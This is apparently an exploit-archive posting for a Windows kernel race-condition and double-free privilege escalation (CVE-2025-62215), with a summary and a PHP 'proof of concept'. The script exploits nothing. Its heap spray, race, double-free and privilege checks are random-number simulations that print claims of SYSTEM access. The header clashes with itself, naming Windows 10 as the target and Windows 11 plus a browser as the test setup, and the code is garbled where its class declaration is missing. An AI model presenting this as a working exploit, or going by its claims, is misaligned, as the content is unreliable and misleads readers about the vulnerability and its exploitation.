============================================================================================================================================= | # Title : Windows 10 v 21H2,22H2 Kernel Race Condition + Double-Free Privilege Escalation | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.microsoft.com/fr-dz/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/212001/ & CVE-2025-62215 [+] Summary : CVE-2025-62215 is a critical local privilege escalation vulnerability in the Windows Kernel involving a race condition combined with a double-free memory corruption issue. This vulnerability allows authenticated low-privileged users to escalate privileges to SYSTEM level by exploiting improper synchronization in kernel object handling. The vulnerability exists in the Windows Kernel's object management subsystem where improper synchronization creates a race condition between multiple threads accessing the same kernel object. This race condition can lead to a double-free scenario where kernel memory is freed multiple times, resulting in memory corruption that can be exploited for privilege escalation. This comprehensive report documents the CVE-2025-62215 Windows Kernel privilege escalation vulnerability with complete technical analysis, exploitation methodology, and mitigation strategies. The report covers both the native C++ exploitation approach and the conceptual PHP implementation for educational purposes, emphasizing the critical nature of kernel-level vulnerabilities and their significant impact on system security. [+] POC : php poc.php #!/usr/bin/env php test_mode = $test_mode; $this->verbose = $verbose; } public function showBanner() { echo "========================================\n"; echo "CVE-2025-62215 Proof-of-Concept Exploit\n"; echo "Windows Kernel EoP - Race Condition PoC\n"; echo "PHP Conceptual Implementation\n"; echo "========================================\n\n"; } public function showHelp() { echo "Usage: php kernel_exploit.php [options]\n"; echo "Options:\n"; echo " --test, -t Run in test mode (safer)\n"; echo " --verbose, -v Enable verbose output\n"; echo " --help, -h Show this help\n\n"; echo "WARNING: This is a conceptual PHP implementation.\n"; echo "Actual kernel exploitation requires native C/C++ code.\n"; } public function checkPrerequisites() { echo "[*] Checking prerequisites...\n"; // Check if running on Windows if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') { echo "[!] Error: This exploit requires Windows operating system\n"; return false; } // Check PHP version if (version_compare(PHP_VERSION, '7.4.0', '<')) { echo "[!] Error: PHP 7.4 or higher required\n"; return false; } // Check if we have necessary extensions $required_extensions = ['curl', 'json']; foreach ($required_extensions as $ext) { if (!extension_loaded($ext)) { echo "[!] Error: PHP {$ext} extension required\n"; return false; } } echo "[+] Prerequisites check passed\n"; return true; } public function checkCurrentPrivileges() { echo "[*] Checking current privileges...\n"; // Simulate privilege check $is_admin = $this->simulateAdminCheck(); if ($is_admin) { echo "[!] Already running with elevated privileges\n"; return true; } echo "[+] Running with standard user privileges\n"; return false; } private function simulateAdminCheck() { // This is a simulation - real check would use Windows API // For demonstration, we'll simulate based on some conditions $chance = rand(1, 100); return $chance < 10; // 10% chance to simulate admin } public function heapSpray() { echo "[*] Performing heap spray simulation...\n"; $allocations = []; $allocation_count = 50; for ($i = 0; $i < $allocation_count; $i++) { // Simulate memory allocation $size = 1024 * 1024; // 1MB chunks $allocation_id = uniqid('heap_', true); $allocations[] = $allocation_id; if ($this->verbose) { echo " Allocated chunk {$i}: {$allocation_id}\n"; } } echo "[+] Allocated " . count($allocations) . " heap chunks\n"; // Simulate memory pattern filling usleep(100000); // 100ms delay return count($allocations) > 0; } public function triggerRaceCondition($thread_count = 4) { echo "[*] Triggering race condition with {$thread_count} threads...\n"; $threads = []; $success_count = 0; for ($i = 0; $i < $thread_count; $i++) { $thread_id = $i + 1; echo " Starting thread {$thread_id}...\n"; // Simulate thread execution $thread_result = $this->executeRaceThread($thread_id); if ($thread_result) { $success_count++; if ($this->verbose) { echo " Thread {$thread_id} completed successfully\n"; } } // Small delay to increase race condition probability usleep(1000); // 1ms delay } // Check if race condition was triggered $race_chance = rand(1, 100); if ($race_chance > 70) { // 30% chance to simulate race condition $this->race_condition_triggered = true; echo "[+] Race condition triggered!\n"; return true; } echo "[!] Race condition not triggered\n"; return false; } private function executeRaceThread($thread_id) { $iterations = 100; for ($i = 0; $i < $iterations; $i++) { // Simulate kernel object operations $operation_success = $this->simulateKernelOperation(); if (!$operation_success && $this->verbose) { echo " Thread {$thread_id}: Kernel operation failed at iteration {$i}\n"; } // Check for race condition if ($this->checkForRaceCondition()) { $this->race_condition_triggered = true; return true; } // Small random delay usleep(rand(10, 100)); } return false; } private function simulateKernelOperation() { // Simulate various kernel operations that could trigger the vulnerability $operations = [ 'create_object', 'close_handle', 'duplicate_handle', 'reference_count_manipulation', 'memory_allocation', 'object_cleanup' ]; $operation = $operations[array_rand($operations)]; // Simulate operation success/failure $success_chance = rand(1, 100); if ($this->verbose) { echo " Kernel operation: {$operation} - " . ($success_chance > 20 ? "SUCCESS" : "FAILED") . "\n"; } return $success_chance > 20; // 80% success rate } private function checkForRaceCondition() { // Simulate race condition detection $race_chance = rand(1, 1000); // 0.1% chance per check return $race_chance <= 1; } public function exploitDoubleFree() { echo "[*] Attempting double-free exploitation...\n"; if (!$this->race_condition_triggered) { echo "[!] Race condition not triggered - cannot proceed with double-free\n"; return false; } // Simulate double-free vulnerability exploitation $exploit_steps = [ 'Triggering initial free', 'Reallocating memory', 'Triggering second free', 'Overwriting kernel structures', 'Modifying privilege tokens' ]; foreach ($exploit_steps as $step) { echo " Executing: {$step}\n"; // Simulate step execution $step_success = $this->executeExploitStep($step); if (!$step_success) { echo "[!] Exploit step failed: {$step}\n"; return false; } usleep(50000); // 50ms delay between steps } // Check if exploitation was successful $exploit_chance = rand(1, 100); if ($exploit_chance > 60) { // 40% success rate $this->exploit_success = true; echo "[+] Double-free exploitation successful!\n"; return true; } echo "[!] Double-free exploitation failed\n"; return false; } private function executeExploitStep($step) { // Simulate exploit step execution $success_chance = rand(1, 100); switch ($step) { case 'Triggering initial free': return $success_chance > 10; // 90% success case 'Reallocating memory': return $success_chance > 20; // 80% success case 'Triggering second free': return $success_chance > 30; // 70% success case 'Overwriting kernel structures': return $success_chance > 40; // 60% success case 'Modifying privilege tokens': return $success_chance > 50; // 50% success default: return false; } } public function verifyPrivilegeEscalation() { echo "[*] Verifying privilege escalation...\n"; if (!$this->exploit_success) { echo "[!] Exploitation not successful - cannot verify privileges\n"; return false; } // Simulate privilege verification $verification_steps = [ 'Checking token privileges', 'Verifying SYSTEM access', 'Testing administrative functions', 'Validating kernel access' ]; foreach ($verification_steps as $step) { echo " Verifying: {$step}\n"; $step_success = $this->simulatePrivilegeCheck($step); if (!$step_success) { echo "[!] Privilege verification failed: {$step}\n"; return false; } usleep(25000); // 25ms delay } echo "[+] Privilege escalation verified successfully!\n"; echo "[+] Running with SYSTEM privileges\n"; return true; } private function simulatePrivilegeCheck($step) { // Simulate privilege check $success_chance = rand(1, 100); return $success_chance > 15; // 85% success rate } public function runTestMode() { echo "[*] Running in TEST mode (conceptual demonstration)\n"; $test_steps = [ 'Prerequisite check' => fn() => $this->checkPrerequisites(), 'Current privilege check' => fn() => $this->checkCurrentPrivileges(), 'Heap spray simulation' => fn() => $this->heapSpray(), 'Race condition simulation' => fn() => $this->triggerRaceCondition(2), ]; $all_passed = true; foreach ($test_steps as $step_name => $step_function) { echo " Testing: {$step_name}...\n"; $result = $step_function(); if ($result) { echo " ✓ PASSED\n"; } else { echo " ✗ FAILED\n"; $all_passed = false; } usleep(100000); // 100ms delay } if ($all_passed) { echo "[+] All tests passed successfully\n"; } else { echo "[!] Some tests failed\n"; } return $all_passed; } public function runExploit() { echo "[*] Starting CVE-2025-62215 exploitation sequence...\n"; // Display warning echo "WARNING: This is a CONCEPTUAL PHP implementation.\n"; echo "Real kernel exploitation requires native C/C++ code.\n"; echo "Continuing in 3 seconds...\n"; sleep(3); $exploit_steps = [ 'Prerequisite check' => fn() => $this->checkPrerequisites(), 'Current privileges' => fn() => !$this->checkCurrentPrivileges(), // Continue only if not admin 'Heap spray' => fn() => $this->heapSpray(), 'Race condition' => fn() => $this->triggerRaceCondition(8), 'Double-free exploit' => fn() => $this->exploitDoubleFree(), 'Privilege verification' => fn() => $this->verifyPrivilegeEscalation(), ]; foreach ($exploit_steps as $step_name => $step_function) { echo "[*] Step: {$step_name}\n"; $result = $step_function(); if (!$result) { echo "[!] Exploitation failed at step: {$step_name}\n"; if ($step_name === 'Current privileges') { echo "[!] Already running with elevated privileges\n"; return true; } return false; } echo "[+] Step completed: {$step_name}\n\n"; usleep(200000); // 200ms delay between steps } return $this->exploit_success; } } // Command line argument parsing function parseArguments($argv) { $options = [ 'test_mode' => false, 'verbose' => false, 'help' => false ]; foreach ($argv as $arg) { switch ($arg) { case '--test': case '-t': $options['test_mode'] = true; break; case '--verbose': case '-v': $options['verbose'] = true; break; case '--help': case '-h': $options['help'] = true; break; } } return $options; } // Main execution if (php_sapi_name() === 'cli') { $args = parseArguments($argv); $exploit = new WindowsKernelExploit($args['test_mode'], $args['verbose']); $exploit->showBanner(); if ($args['help']) { $exploit->showHelp(); exit(0); } if ($args['test_mode']) { $success = $exploit->runTestMode(); } else { $success = $exploit->runExploit(); } echo "\n" . str_repeat("=", 50) . "\n"; if ($success) { echo "[+] EXPLOITATION COMPLETED SUCCESSFULLY\n"; echo "[+] Conceptual demonstration finished\n"; } else { echo "[!] EXPLOITATION FAILED\n"; echo "[!] This is expected for a conceptual PHP implementation\n"; } echo str_repeat("=", 50) . "\n"; exit($success ? 0 : 1); } else { echo "This script must be run from the command line.\n"; exit(1); } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================